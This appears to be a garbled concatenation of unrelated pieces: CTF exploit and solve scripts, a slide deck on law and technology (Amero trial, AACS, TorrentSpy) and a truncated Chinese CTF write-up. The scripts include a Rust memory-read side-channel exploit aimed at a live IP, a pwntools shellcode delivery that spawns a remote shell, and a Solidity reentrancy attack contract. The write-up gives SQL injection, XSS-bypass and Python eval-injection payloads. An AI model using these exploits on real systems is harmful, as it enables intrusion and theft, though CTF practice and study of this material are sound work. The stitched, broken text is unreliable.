mut tmp = 0u32; for j in 0..4 {{ tmp |= (r(x+j) as u32) << (8 * j); }} tmp }}; let r64 = |r: &mut FnMut(usize) -> u8, x: usize| {{ let mut tmp = 0u64; for j in 0..8 {{ tmp |= (r(x+j) as u64) << (8 * j); }} tmp }}; fn eswap(x: u32) -> u32 {{ (x & 0xff000000) >> 24 | (x & 0x00ff0000) >> 08 | (x & 0x0000ff00) << 08 | (x & 0x000000ff) << 24 }} let mut fl: bool = false; loop {{ let v = r32(&mut r, i); if eswap(v) == 0x666c6167 {{ fl = true; break; }} if eswap(v) == 0x7f454c46 && i & 3 == 0 {{ break; }} i -= 1; }} if fl {{ if r(i + {index}) != {val} {{ jackpot(); }} }} }}''' retrieve_tpl = '''static BS: usize = 0xaabbccdd; static UNIT: &'static &'static () = &&(); fn foo<'a, 'b, T>(_: &'a &'b (), v: &'b T) -> &'a T {{ v }} fn bad<'a, T>(x: &'a T) -> &'static T {{ let f: fn(_, &'a T) -> &'static T = foo; f(UNIT, x) }} fn foow<'a, 'b, T>(_: &'a &'b (), v: &'b mut T) -> &'a mut T {{ v }} fn badw<'a, T>(x: &'a mut T) -> &'static mut T {{ let f: fn(_, &'a mut T) -> &'static mut T = foow; f(UNIT, x) }} fn jackpot() {{ let mut i: u64 = 0; while i < 0x100000000 {{ i += 1; }} }} pub fn code() {{ fn inner() -> &'static Vec<u8> {{ let x = Box::new(Vec::new()); bad(&*x) }} let x = inner(); let mut y = Box::new((1usize, 2usize, 3usize)); let mut i: usize = &BS as *const _ as usize; let mut r = |addr: usize| {{ y.0 = addr; x[0] }}; let r32 = |r: &mut FnMut(usize) -> u8, x: usize| {{ let mut tmp = 0u32; for j in 0..4 {{ tmp |= (r(x+j) as u32) << (8 * j); }} tmp }}; let r64 = |r: &mut FnMut(usize) -> u8, x: usize| {{ let mut tmp = 0u64; for j in 0..8 {{ tmp |= (r(x+j) as u64) << (8 * j); }} tmp }}; fn eswap(x: u32) -> u32 {{ (x & 0xff000000) >> 24 | (x & 0x00ff0000) >> 08 | (x & 0x0000ff00) << 08 | (x & 0x000000ff) << 24 }} let mut fl: bool = false; loop {{ let v = r32(&mut r, i); if eswap(v) == 0x666c6167 {{ fl = true; break; }} if eswap(v) == 0x7f454c46 && i & 3 == 0 {{ break; }} i -= 1; }} loop {{ let c = r(i); println!("{{}}", c); i += 1; }} }}''' @timeout(25) def conn_sidechannel(p, code): p.recvuntil('?') p.sendline(code) p.recvuntil("EOF") def verify_char(index, val): code = verify_tpl.format(index=index, val=val) p = remote("159.138.4.209", 1001) try: conn_sidechannel(p, code) except TimeoutError: result = False except EOFError: result = True except Exception, ex: raise ex try: p.close() except: pass return result # I thought println! was forbidden.... def get_flag(): code = retrieve_tpl.format() p = remote("159.138.4.209", 1001) p.recvuntil("?") p.sendline(code) p.recvuntil("..\n") flag = '' Re clock while not flag.endswith('}'): flag += chr(int(p.recvline().strip())) p.close() return flag def guess_char(index): l, r = 0x20, 0x7f while r > l: mid = (l + r) // 2 code = code_tpl.format(index=index, mid=mid) print "Binsearch on %d with (%d, %d)" % (index, l, r) p = remote("159.138.4.209", 1001) try: conn_sidechannel(p, code) except TimeoutError: l = mid + 1 except EOFError: r = mid except Exception, ex: raise ex try: p.close() except: pass return l trophy = 'flag{2c9a594f-6e42-44e3-9767-fffc7deb0c32}' index = len(trophy) while not trophy.endswith('}'): trophy += chr(guess_char(index)) index += 1 print "Result:", trophy print get_flag() #for x1 in range(2): # for x2 in range(2): # for x3 in range(2): # print x1,x2,x3,(x1*x2)^((x2^1)*x3) #n = [17,19,21] #cycle = 1 #for i in n: # cycle = cycle*(pow(2,i)-1) #print cycle THREADS = 80 def lfsr(R, mask, lfsr_mask): output = (R << 1) & lfsr_mask i = (R & mask) & lfsr_mask lastbit = 0 while i != 0: lastbit ^= (i & 1) i = i >> 1 output ^= lastbit return (output, lastbit) SAMPLE = 40 R1_mask = 0x2A9A0D n1 = 22 R1_lfsrmask = 0x3FFFFF R2_mask = 0x17FA06 n2 = 21 R2_lfsrmask = 0x1FFFFF R3_mask = 0x5E5E6A n3 = 23 R3_lfsrmask = 0x7FFFFF def single_round(): (R1_NEW, x1) = lfsr(R1, R1_mask, R1_lfsrmask) (R2_NEW, x2) = lfsr(R2, R2_mask, R2_lfsrmask) (R3_NEW, x3) = lfsr(R3, R3_mask, R3_lfsrmask) # change the following according the situration x2 = (~x2) & 1 return (R1_NEW, R2_NEW, R3_NEW, (x1 * x2) ^ ((x2 ^ 1) * x3)) def get_data(length=40): data = open('./output_', "rb").read(length) data = ''.join(bin(256 + ord(c))[3:] for c in data) return data def guess(beg, end, num, mask, lfsr_mask): data = get_data(num) target = int(len(data) * 0.75) ansn = range(beg, end) now = 0xffffffff res = 0 for i in ansn: r = i cnt = 0 for j in range(num * 8): r, lastbit = lfsr(r, mask, lfsr_mask) lastbit = str(lastbit) cnt += (lastbit == data[j]) if abs(cnt - target) < now: now = abs(cnt - target) res = i #print now, res return now, res def bruteforce2(x, z): data = get_data(50) #for y in range(pow(2, n2 - 1), pow(2, n2)): for y in range(0, pow(2, n2)): R1, R2, R3 = x, y, z flag = True for i in range(len(data)): (R1, R2, R3, out) = single_round() if str(out) != data[i]: flag = False break if y % 10000 == 0: print 'now: ', x, y, z if flag: print 'ans: ', hex(x)[2:], hex(y)[2:], hex(z)[2:] break import multiprocessing as mp def guess_R(curid): #guess_range_n1 = (pow(2, n1 - 1), pow(2, n1)) guess_range_n1 = (0, pow(2, n1)) n1_slice = (guess_range_n1[1] - guess_range_n1[0]) / 80 newrange_s = guess_range_n1[0] + n1_slice * curid newrange_e = guess_range_n1[0] + min(n1_slice * (curid + 1), guess_range_n1) R1now, R1 = guess(newrange_s, newrange_e, SAMPLE, R1_mask, R1_lfsrmask) #print curid, R1 #guess_range_n3 = (pow(2, n3 - 1), pow(2, n3)) guess_range_n3 = (0, pow(2, n3)) n3_slice = (guess_range_n3[1] - guess_range_n3[0]) / 80 newrange_s = guess_range_n3[0] + n3_slice * curid newrange_e = guess_range_n3[0] + min(n3_slice * (curid + 1), guess_range_n3) cycle graph sub_401080 R3now, R3 = guess(newrange_s, newrange_e, SAMPLE, R3_mask, R3_lfsrmask) #print curid, R3 return R1now,R1, R3now, R3 def main(): p = mp.Pool(THREADS) ret = p.map(guess_R, range(THREADS)) print ret r1 = [c[:2] for c in ret] r3 = [c[2:] for c in ret] best_r1 = 0 best_r1_now = 0xffffffff for c in r1: if c[0] < best_r1_now: best_r1 = c[1] best_r1_now = c[0] best_r3 = 0 best_r3_now = 0xffffffff for c in r3: if c[0] < best_r3_now: best_r3 = c[1] best_r3_now = c[0] print best_r1_now, best_r1, best_r3_now, best_r3 R1 = best_r1 R3 = best_r3 bruteforce2(R1, R3) if __name__ == "__main__": main() #include <cstdio> #include <cstdlib> #include <cstring> #include <algorithm> #include <queue> #include <string> #include <iostream> #include <map> using namespace std; int val[64] = { 52, 2, 44, 42, 6, 42, 47, 42, 51, 3, 2, 50, 50, 50, 48, 3, 1, 50, 43, 2, 46, 1, 2, 45, 50, 4, 45, 48, 49, 47, 51, 5, 5 }; int l[64] = { 2, 2, 1, 18, 7, 2, 26, 13, 4, 10, 4, 21, 14, 1, 0, 14, 5, 7, 28, 12, 28, 15, 15, 2, 16, 23, 30, 23, 19, 9, 22, 31, 0 }; int r[64] = { 1, 8, 7, 23, 9, 19, 31, 23, 9, 13, 12, 29, 10, 24, 9, 24, 25, 9, 26, 3, 22, 6, 17, 13, 7, 15, 20, 1, 16, 4, 11, 31 }; int vis[32]; typedef struct node { string flag; int step; int pos; } Node; queue<node> q; int main() { Node a({"0", 0, 0}); q.push(a); //vis[0] = 1; while (!q.empty()) { Node curr = q.front(); q.pop(); if (curr.step == 16 && curr.pos == 31) { cout << curr.flag << endl; } // printf("%d\n", curr.pos); int lv = l[curr.pos]; int rv = r[curr.pos]; string s = "a"; if (!vis[lv]) { //vis[lv] = 1; s[0] = curr.flag[curr.step] + val[curr.pos]; if (s[0] >= 32 && s[0] <= 127) q.push({curr.flag + s, curr.step + 1, lv}); } if (!vis[rv]) { //vis[rv] = 1; s[0] = curr.flag[curr.step] - val[curr.pos]; if (s[0] >= 32 && s[0] <= 127) q.push({curr.flag + s, curr.step + 1, rv}); } 0 part1smcpart2 } return 0; } def part1(): dst = [0] * 18 dst[0] = 17 dst[1] = 8 dst[2] = 6 dst[3] = 10 dst[4] = 15 dst[5] = 20 dst[6] = 42 dst[7] = 59 dst[8] = 47 dst[9] = 3 dst[10] = 47 dst[11] = 4 dst[12] = 16 dst[13] = 72 dst[14] = 62 dst[15] = 0 dst[16] = 7 dst[17] = 16 key = 'Rising_Hopper!' v22 = [ord(e) for e in key] result = [] for i in range(18): for c in range(255): if ~(c & v22[i % 14]) & (c | v22[i % 14]) == dst[i]: result.append(c) break s = ''.join([chr(e) for e in result]) print(s) def part2(): v9 = [0] * 51 v9[0] = 2007666 v9[1] = 2125764 v9[2] = 1909251 v9[3] = 2027349 v9[4] = 2421009 v9[5] = 1653372 v9[6] = 2047032 v9[7] = 2184813 v9[8] = 2302911 v9[9] = 2263545 v9[10] = 1909251 v9[11] = 2165130 v9[12] = 1968300 v9[13] = 2243862 v9[14] = 2066715 v9[15] = 2322594 v9[16] = 1987983 v9[17] = 2243862 v9[18] = 1869885 v9[19] = 2066715 v9[20] = 2263545 v9[21] = 1869885 v9[22] = 964467 v9[23] = 944784 v9[24] = 944784 v9[25] = 944784 v9[26] = 728271 v9[27] = 1869885 v9[28] = 2263545 v9[29] = 2283228 v9[30] = 2243862 v9[31] = 2184813 v9[32] = 2165130 v9[33] = 2027349 v9[34] = 1987983 v9[35] = 2243862 v9[36] = 1869885 v9[37] = 2283228 v9[38] = 2047032 v9[39] = 1909251 v9[40] = 2165130 v9[41] = 1869885 v9[42] = 2401326 v9[43] = 1987983 v9[44] = 2243862 v9[45] = 2184813 v9[46] = 885735 v9[47] = 2184813 baby_wasi wasm2c _start exitmallocfree main v9[48] = 2165130 v9[49] = 1987983 v9[50] = 2460375 v11 = 19683 v12 = 0x8000000B r = [] for i in range(51): for c in range(255): if v9[i] == v11 * c % v12: r.append(c) break r = ''.join([chr(e) for e in r]) print(r) if __name__ == '__main__': part1() part2() boomshellcode gen_keyshellcode def f16(a1): if a1 & 1 and a1 % 3: v4 = 7 v3 = 1 while (v4 - 6) * (v4 - 6) < a1: if v4 == 2: raise Exception("3") if a1 % (v4 - 2) != 0: if not v4: raise Exception("3") v2 = a1 % v4 v4 += 6 if v2: continue v3 = 0 break else: v3 = 0 return v3 def revint(i): return int(str(i)[::-1]) def is_special_num(a1): v3 = 0 v2 = revint(a1) if v2 != a1 and f16(a1) != 0: v3 = f16(v2) != 0; return v3 def genkey(cur): v4 = cur + 1; cura = 0; i = 0; v1 = 0; while i < v4: v3 = is_special_num(cura); if v3: v1 = cura cura += 1 i += v3 return v1 ''' for i in range(10000, 10100): print genkey(i) ''' from pwn import * context.arch = 'amd64' payload = asm(shellcraft.amd64.linux.sh()) import subprocess context.log_level = "debug" #io = process("./baby_wasi") while True: try: io = remote("121.37.164.32", 19008) io.recvuntil("Your lucky number: ") luckynum = int(io.recvline()) p = fsubprocess.Popen("./lucky %d" % luckynum, stdin=PIPE, stdout=PIPE) ret = p.communicate(payload)[0] payload = ''.join([chr((ord(c) ^ genkey(i + luckynum)) & 0xff) for i,c in enumerate(payload)]) io.sendline(payload) fxck! ABCDEFGHJKLMNPQRSTUVWXYZ123456789abcdefghijkmnopqrstuvwxyz base58base58 dumpbase58decode io.sendline("whoami") io.interactive() except EOFError: print "Failed" '''Base58 encoding Implementations of Base58 and Base58Check encodings that are compatible with the bitcoin network. ''' # This module is based upon base58 snippets found scattered over many bitcoin # tools written in python. From what I gather the original source is from a # forum post by Gavin Andresen, so direct your praise to him. # This module adds shiny packaging and support for python3. from hashlib import sha256 from typing import Union __version__ = '2.0.0' # 58 character alphabet used BITCOIN_ALPHABET = \ b'ABCDEFGHJKLMNPQRSTUVWXYZ123456789abcdefghijkmnopqrstuvwxyz' RIPPLE_ALPHABET = b'rpshnaf39wBUDNEGHJKLM4PQRST7VWXYZ2bcdeCg65jkm8oFqi1tuvAxyz' # Retro compatibility alphabet = BITCOIN_ALPHABET def scrub_input(v: Union[str, bytes]) -> bytes: if isinstance(v, str): v = v.encode('ascii') return v def b58encode_int( i: int, default_one: bool = True, alphabet: bytes = BITCOIN_ALPHABET ) -> bytes: """ Encode an integer using Base58 """ if not i and default_one: return alphabet[0:1] string = b"" while i: i, idx = divmod(i, 58) string = alphabet[idx:idx+1] + string return string def b58encode( v: Union[str, bytes], alphabet: bytes = BITCOIN_ALPHABET ) -> bytes: """ Encode a string using Base58 """ v = scrub_input(v) nPad = len(v) v = v.lstrip(b'\0') nPad -= len(v) p, acc = 1, 0 for c in reversed(v): acc += p * c p = p << 8 result = b58encode_int(acc, default_one=False, alphabet=alphabet) return alphabet[0:1] * nPad + result def b58decode_int( v: Union[str, bytes], alphabet: bytes = BITCOIN_ALPHABET ) -> int: """ Decode a Base58 encoded string as an integer """ v = v.rstrip() v = scrub_input(v) decimal = 0 for char in v: decimal = decimal * 58 + alphabet.index(char) return decimal def b58decode( v: Union[str, bytes], alphabet: bytes = BITCOIN_ALPHABET ) -> bytes: """ Decode a Base58 encoded string """ v = v.rstrip() v = scrub_input(v) origlen = len(v) v = v.lstrip(alphabet[0:1]) newlen = len(v) acc = b58decode_int(v, alphabet=alphabet) result = [] while acc > 0: acc, mod = divmod(acc, 256) result.append(mod) return b'\0' * (origlen - newlen) + bytes(reversed(result)) def b58encode_check( v: Union[str, bytes], alphabet: bytes = BITCOIN_ALPHABET ) -> bytes: """ Encode a string using Base58 with a 4 character checksum """ v = scrub_input(v) digest = sha256(sha256(v).digest()).digest() return b58encode(v + digest[:4], alphabet=alphabet) def b58decode_check( v: Union[str, bytes], alphabet: bytes = BITCOIN_ALPHABET ) -> bytes: '''Decode and verify the checksum of a Base58 encoded string''' result = b58decode(v, alphabet=alphabet) result, check = result[:-4], result[-4:] digest = sha256(sha256(result).digest()).digest() if check != digest[:4]: raise ValueError("Invalid checksum") return result print(b58decode('4VyhuTqRfYFnQ85Bcw5XcDr3ScNBjf5CzwUdWKVM7SSVqBrkvYGt7SSUJe')) v0-v4Inori v5 = 1; v6 = 0; v7 = 1; v8 = 0; v9 = 1; for ( i = 0; i <= 4; ++i ) { if ( (*(&v0 + i) & 1) != *(&v5 + i) ) return; } if ( v0 != v1 && v0 != v2 && v0 != v3 && v0 != v4 && v1 != v2 && v1 != v3 && v1 != v4 && v2 != v3 && v2 != v4 && v3 != v4 && v0 + 32 == v4 && !(v0 >> 7) && !(v1 >> 7) && !(v2 >> 7) && !(v3 >> 7) && !(v4 >> 7) && v0 >> 6 == 1 && v1 >> 6 == 1 && v2 >> 6 == 1 && v3 >> 6 == 1 && abs(v1 - v2) == 1 && abs(v2 - v3) == 3 && abs(v3 - v4) == 9 && v0 >> 5 <= 9 && v1 >> 5 <= 9 && v2 >> 5 <= 6 && v3 >> 5 <= 5 && v4 >> 5 <= 7 && (v0 & 9) == 9 && v3 & 2 && (v1 & 0xE) == 14 ) “QWERTYUIOPrewqtyui0987654” 68 Re_Happy QWERTYUIOPrewqtyui0987654 OTUIIYUirYrqOROIEPOE [8, 4, 6, 7, 7, 5, 6, 17, 10, 5, 10, 13, 8, 3, 8, 7, 2, 9, 8, 2, 8, 7, 11, 15] #include <cstdio> #include <cstdlib> #include <cstring> #include <algorithm> #include <queue> #include <string> #include <iostream> #include <map> using namespace std; int main() { unsigned char res[24] = {6, 4, 8, 7, 7, 5, 6, 17, 10, 5, 10, 13, 8, 3, 8, 7, 2, 9, 8, 2, 8, 7, 11, 15}; for (int idx = 0; idx < 8; idx++) { for (unsigned char val = 32; val <= 127; val++) { unsigned char a = val >> 4; unsigned char b = val & 0xf; unsigned char c = a ^ b; int ii = idx * 3; int jj = idx * 3 + 1; int kk = idx * 3 + 2; if (!(a & 1)) ++a; if (!(ii & 1)) ++a; ++b; ++b; if (c & 1) ++c; if (ii & 1) ++c; if (a == res[ii] && b == res[jj] && c == res[kk]) { printf("%c", val); } } } } Hint 1.graph 2. mainfor E20B1A1A13F9 for (i = 0; i <= 11; i++) #include <stdio.h> int main() { char v4[12] = {0}; char v5[12] = {0}; char v6[12] = {0}; v4[0] = -67; v4[1] = -46; v4[2] = -16; v4[3] = -62; v4[4] = -47; v4[5] = -63; v4[6] = -47; v4[7] = -63; v4[8] = -47; v4[9] = -49; v4[10] = -66; v4[11] = -55; v5[0] = -2; v5[1] = -4; v5[2] = -32; v5[3] = -4; v5[4] = -2; v5[5] = -2; v5[6] = -2; v5[7] = -2; v5[8] = -2; v5[9] = -2; v5[10] = -4; v5[11] = -2; for ( int i = 0; i <= 11; ++i ) { v4[i] ^= v5[i]; v5[i] -= v4[i]; v4[i] += v5[i]; v4[i] ^= v5[i]; v5[i] += v4[i]; v4[i] -= v5[i]; v6[i] = 1; } printf("%s %s %s", v4, v5, v6); } ABCDEF01234567890123456789ABCDEF Happy_ Happy_ + Re_Happy + _ + Inori flag{Happy_Re_Happy_Inori} Rubik >>> import string >>> t = string.maketrans("ABCDEF0123456789", "0123456789ABCDEF") >>> a = 'E20B1A1A13F9' >>> a.translate(t) '48617070795F' >>> a.translate(t).decode('hex') 'Happy_' >>> U: 27:24=36:33 36:33=33:30 33:30=30:27 30:27=27:24 6:3=21:18 9:6=24:21 21:18=45:42 24:21=48:45 45:42=54:51 48:45=57:54 54:51=6:3 57:54=9:6 R: 15:12=24:21 24:21=21:18 21:18=18:15 18:15=15:12 9:6=69:66 12:9=72:69 69:66=42:39 72:69=45:42 42:39=30:27 45:42=33:30 30:27=9:6 33:30=12:9 F: 3:0=12:9 12:9=9:6 9:6=6:3 6:3=3:0 18:15=33:30 21:18=36:33 33:30=57:54 36:33=60:57 57:54=66:63 60:57=69:66 66:63=3:0 69:66=21:18 import solver as sv # https://github.com/hkociemba/Rubiks2x2x2-OptimalSolver def get(var): r = [] for i in range(24): c = var & 7 r.append(c) var >>= 3 colors = ['D','F','R','U','B','L'] return [colors[e] for e in r] def adjust(a): f,r,u,b,l,d = [a[4*i:4*(i+1)] for i in range(6)] u = u[0] + u[1] + u[3] + u[2] b = b[2] + b[3] + b[1] + b[0] d = d[1] + d[2] + d[0] + d[3] r = r[2] + r[3] + r[1] + r[0] l = l[1] + l[2] + l[0] + l[3] f = f[1] + f[2] + f[0] + f[3] return ''.join([u,r,f,d,l,b]) return a def get_cubestring(inp): a = get(inp) r = (adjust(''.join(a))) return r init = 0xB6D9246DB492249 U = 0x0a4db646db912291 R = 0x900b6d8dc64b492009 F = 0x09002d924b5b4da249 assert(get_cubestring(init) == 'UUUURRRRFFFFDDDDLLLLBBBB') assert(get_cubestring(U) == 'UUUUBBRRRRFFDDDDFFLLLLBB') assert(get_cubestring(R) == 'UFUFRRRRFDFDDBDBLLLLUBUB') assert(get_cubestring(F) == 'UULLURURFFFFRRDDLDLDBBBB') if __name__ == '__main__': easyparser OwnerMoney ropsten, sender, sender121. nonce, : cbs = 0x8e062d75c28130a415 cubestring = get_cubestring(cbs) sol = sv.solve(cubestring) print(sol) def catflag(): dst = [144, 332, 28, 240, 132, 60, 24, 64, 64, 240, 208, 88, 44, 8, 52, 240, 276, 240, 128, 44, 40, 52, 8, 240, 144, 68, 48, 80, 92, 44, 264, 240] r = '' for each in dst: for c in range(256): if (c ^ 0x63) << (2 & 0x3f) == each: r+=(chr(c)) break print('flag{'+r+'}') if __name__ == '__main__': catflag() #!/usr/bin/env python3 # -*- coding: utf-8 -*- import rlp import sha3 import IPython from eth_utils import keccak, to_checksum_address, to_bytes from ecdsa import SigningKey, SECP256k1 my_addr = to_checksum_address('0x9Fd6Bd7F75fB554A206dFa952cCa508d07e974C8') def mk_contract_address(sender, nonce): sender_bytes = to_bytes(hexstr=sender) raw = rlp.encode([sender_bytes, nonce]) h = keccak(raw) address_bytes = h[12:] return to_checksum_address(address_bytes) , : def generate_addr(): keccak = sha3.keccak_256() pk = SigningKey.generate(curve=SECP256k1) public = pk.get_verifying_key().to_string() keccak.update(public) address = "0x{}".format(keccak.hexdigest()[24:]) return pk, address while True: pk, addr = generate_addr() cont_addr = mk_contract_address(to_checksum_address(addr), 0) if cont_addr.lower().endswith('fff'): print(pk.to_string().hex(), addr) pragma solidity ^0.4.26; contract Attack { address public target; address public owner; bool private twice; bool private reentrant; constructor () public { target = address(0x40a590b70790930ceed4d148bf365eea9e8b35f4); owner = msg.sender; twice = false; reentrant = false; } function reset() public { require(owner == msg.sender); twice = false; reentrant = false; } function isOwner(address _addr) public returns (uint256) { if(twice == false) { twice = true; return 0; } return 1; } function buy() public { require(owner == msg.sender); require(target.call.value(0x1)(bytes4(keccak256("buy()")))); } function claim() public { require(owner == msg.sender); target.call(bytes4(0x11f776bc)); } function change() public { require(owner == msg.sender); target.call(bytes4(keccak256("change(address)")), abi.encode(target)); } function attack() public { require(owner == msg.sender); target.call(bytes4(keccak256("sell(uint256)")), abi.encode(uint256(200))); } function transfer(address attacker) public { require(owner == msg.sender); target.call(bytes4(keccak256("transfer(address,uint256)")), abi.encode(attacker), abi.encode(100)); } function reverse_finance() public { require(owner == msg.sender); selfdestruct(target); } function payforflag(string b64email) public { require(owner == msg.sender); target.call(bytes4(keccak256("payforflag(string)")), abi.encode(b64email)); } function payme() public payable { } function () public payable { if(msg.sender == target) { if(!reentrant) { reentrant = true; target.call(bytes4(keccak256("sell(uint256)")), abi.encode(uint256(200))); } } } function kill() public { require(owner == msg.sender); selfdestruct(owner); , sell(uint256)balance, selfdestruct } }
pdf
John E. Benson, J.D. Bridging the Gap Between Technology and the Law ‣ Fundamental differences ‣ Perceptions and adoption ‣ Trial Issues ‣ Julie Amero ‣ Torrentspy A Look Ahead ‣ jur1st ‣ Attorney ‣ Professor ‣ See me afterwards for more details Introduction Technology v. The Law ‣ Becomes more advanced ‣ Changes day to day ‣ Thrives on growth and development Technology ‣ Rare sweeping changes ‣ Slow to react ‣ Hates all that is new and different The Law ‣ Through the Common Law system laws are ‣ Stable ‣ Predictable ‣ Methodical Why Can’t the Law be Different? ‣ Unpredictable viewpoint ‣ Cases have yet to reach appellate levels ‣ Cases haven’t been brought at all Cause and Effect Adoption and Perception of Technology ‣ Most attorneys don’t have a deep understanding of technology ‣ Judges are even worse ‣ Attorneys come from diverse backgrounds Who are We Talking About? ‣ Most students used laptops ‣ Most use Windows XP ‣ Most use Internet Explorer ‣ Most don’t pay attention to sending their passwords in the clear Recent Graduates ‣ Attorneys love email and Blackberries ‣ All Federal Courts have electronic filing ‣ Attorneys have a strong obligation to keep communications secret Adoption • CONFIDENTIALITY NOTICE: This e-mail message including attachments, if any, is intended for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not the intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message. Thank you. ‣ Easy to use ‣ Easy to implement ‣ Especially for a small practice Encryption ‣ Ok, John.  Nice to know you have encrypted your message to our little "Family"   ‣ BTW:  Like we need to worry that "Homeland Security" will now be watching because you posted to this little "House"? Understanding ‣ Operate on the front lines ‣ Require excellent advocacy skills ‣ Working understanding of facts Trial Attorneys ‣ Substitute teacher ‣ Risk of injury to a minor ‣ Exposure to pornography The Amero Trial ‣ Willfully or unlawfully causes ‣ A child under 16 ‣ To be placed in a situation where the morals of that child are likely to be impaired ‣ Shall be punished The Statute ‣ Willful means deliberately or intentionally ‣ Not a standard of negligence ‣ If she was negligent, she would not be convicted Elements ‣ “Were there any other images that had been placed on your hard drive on the day before that you saw at least in the file format?” ‣ "Did she log onto any programs?" ‣ “Specifically to what I am pointing at here, my understanding is this http:// www.vaginalcumshots.com, specifically this website, again, was accessed to that PC in Mr. Napp’s classroom, correct?” Prosecution Highlights ‣ “Were any of the adware, spyware, parasite and viruses updated on or before October 19th?” ‣ “I’m computer illiterate.” Defense Highlights ‣ Before checking firewall logs checked after the computer was accessed by IT ‣ Computer not taken out of service for a week Evidentiary Pitfalls ‣ Police investigator ‣ Q: "Did you examine the hard drive for spyware, viruses or parasites?" ‣ A: No Evidentiary Pitfalls ‣ District still runs Windows 95 and 98 ‣ Antivirus protection only ‣ Filtering software wasn’t updated Failings of the District ‣ Q: “Does spyware and adware generate pornography?” ‣ A: “I'm not aware that they do” Failings of the District ‣ Procedure ‣ Not to be taken lightly ‣ Prosecution not given the material prepared by the defense expert Why Was Some Evidence Excluded? ‣ Probably not ‣ Expert gave his conclusions ‣ Mentioned Adware & Spyware numerous times in testimony Did It Make A Difference? ‣ Rude to the court ‣ Clearly angering the judge and prosecutor Actions of the Expert ‣ Everyone ‣ District ‣ The State ‣ The Defense Attorney ‣ The Expert Who Do We Blame ‣ Misdirected ‣ Blind rage against the judicial system is ineffective ‣ Work together ‣ Ensure this doesn’t happen again Was the Response Warranted? Where is the Case Now? ‣ Judge has ordered a new trial ‣ Anticipating more expert testimony to be offered (and admitted) ‣ What will the new outcome be? ‣ HD-DVD Processing Key cracked weeks ago ‣ Finally appears on Digg ‣ Takedown notices sent ‣ Hilarity ensues AACS v. The World ‣ Dissemination is a violation of the DMCA ‣ Takedown requests were valid ‣ Not a First Amendment issue ‣ Private companies may do as they choose Cold Facts ‣ Landscape significantly different than it was when DeCSS was released ‣ Copyright holders must find more effective ways of rights protection ‣ User driven sites must be ready to respond The Reality Torrentspy ‣ Torrentspy hosts torrent files ‣ Doesn’t keep logs ‣ ‣ The fundamental issues separating law and technology aren’t going away ‣ Attorneys need to have a better relationship with technology ‣ Need for stronger advocates to prevent poor judicial decisions Conclusion
pdf
华山杯 writeup 队伍名:Nu1L Web 题目: Web1 怎么在 Web 上 Ping 呢 进去发现 flag.php,访问不到直接抓包访问,之后发现在 flag.php 中存 在提示 key:DDoS。。。研究一下午不懂,后来在 freebuf 找到一篇文章 http://www.freebuf.com/articles/network/74173.html 构造 html 访问,fiddler 抓包 Flag : cCFVY1Yjs5VQ9X2GCG4v6IdpkaKBEsbM Web2 社工库查询 放西瓜大神好吗。。。。。。天真的以为真的是社工 QQ。 Burp 爆破到 10000,发现出来了提示: Intavl,取整函数,尝试输入 10000.1 就可以得到 flag: Web3access 注入。 一开始以为是 sqlmap 能爆破出来。。。然而太天真了。。一开始就是猜猜 猜没思路,突然发现 access 注入有一种偏移注入,然后就秒破。。真的好简单 - -怪不得大牛都秒了。 找到一篇文章,http://www.2cto.com/Article/201212/179284.html,然 后就猜字段数吧: http://218.245.4.113:8888/web03/ca55022fa7ae5c29d179041883fe1556/ind ex.asp?id=886 union select 1,2,3, 4,* from admin as a inner join admin as b on a.id=b.id Md5 解下:469e80d32c0559f8,发现时 admin888。直接提交通过 Flag:469e80d32c0559f8 Web4 有 WAF 该怎么注入呢 白天注入的时候各种绕不过去。。。后来想到 xd 比赛的那个函数 lpad 发 现可以执行。。。但是不知道暴啥。。。晚上的时候发现什么都没过滤。。。。 于是翻了翻以前 nsctf 的 writeup,找到了一个盲注语句。。。然后就是 brupsuite 爆破了。。想写本来以为 flag 没几位。。最后发现好长啊。。。。 (ord(substr((select(select(group_concat(table_name))from(information _schema.tables)where(table_schema=database()))),1,1))>100) 先爆表名发现是 flag 表,之后爆字段。。发现是 flag。。。所以直接 (ord(substr((select(flag)from(flag)),i,1))>j) ………手动爆表 20 分钟 得到完全没有意义的字符串 所以 flag 第一位是 chr(106) Flag:jkschvkjasmznxvkjahsdasdxzcqwe Web5 XSS??? XSS!!! 第一节 xss 挑战赛的原题啊。。。http://drops.wooyun.org/papers/894 "onblur=outerHTML=URL//#<img/src=1 onerror=alert(1)> 尝试提交不行,找了个不可见字符,改成 "OnbLur=outerHTML=URL%0b#<img/src=1 onerror=alert(1)> 弹窗成功,win7+ie8 Web6 Python-Web: 题目很纠结,测试发现是 django 的 debug 模式。。。。 尝试在 rest 下用 obj 构建链接,然后就可以了,开始我们引入的 model 是 exec 后来发现不存在,于是尝试引入同样可以执行 os 命令的 eval,利用 http://www.freebuf.com/articles/web/73658.html 上的讲解去执行 python 命令,发现 os.system 竟然不能用,不能写入文件。。。于是 help 了 os 发现 listdir 同样可以列出目录,执行{"obj": "__builtin__", "method": "eval", "params": "[__import__('os').listdir('.'),1]"}发现目录,然后 多次测试,os.stat 一个文件尝试找 username 没有,password 是一串 *******************,后来包含了多个文件。。。发现在 debug 的 setting 信 息中直接有 flag。 Flag : 31e262014a402b9f7d2dc9970cf39ca5 网络取证 网络取证 1 流量分析 1 因为有的时候对于 ping 的检验很少,所以筛选出 icmp,查看 request 即 可发现每一个流量包有一个字符。 然后得到 flag:S$curIty_I_L0V3_H@cK 网络取证 2 扫雷 将下载下来的压缩包打开发现是个 dmp 文件,用 windbg 打开,通过 lm 和.writemem 指令将 winmine.exe dump 出来,通过与不同系统版本的扫雷比较发现与 xp 系统下的 扫雷比较相似,经过比较发现在文件偏移 4A70 处有一段异或解密的 shellcode,将这 段 shellcode 所用到的数据提取出来写个脚本即可得到 flag 脚本: #! /usr/bin/env python #coding=utf-8 import sys, time, os key1 = 0x29b key2 = 0x1e key3 = 0x18 key4 = 0x259 l = [ 0x4C, 0x05, 0x46, 0x05, 0x4B, 0x05, 0x4D, 0x05, 0x51, 0x05, 0x19, 0x05, 0x1D, 0x05, 0x4C, 0x05, 0x19, 0x05, 0x4B, 0x05, 0x4F, 0x05, 0x1A, 0x05, 0x48, 0x05, 0x1B, 0x05, 0x48, 0x05, 0x1F, 0x05, 0x1C, 0x05, 0x49, 0x05, 0x19, 0x05, 0x1F, 0x05, 0x12, 0x05, 0x1F, 0x05, 0x1C, 0x05, 0x1C, 0x05, 0x4C, 0x05, 0x49, 0x05, 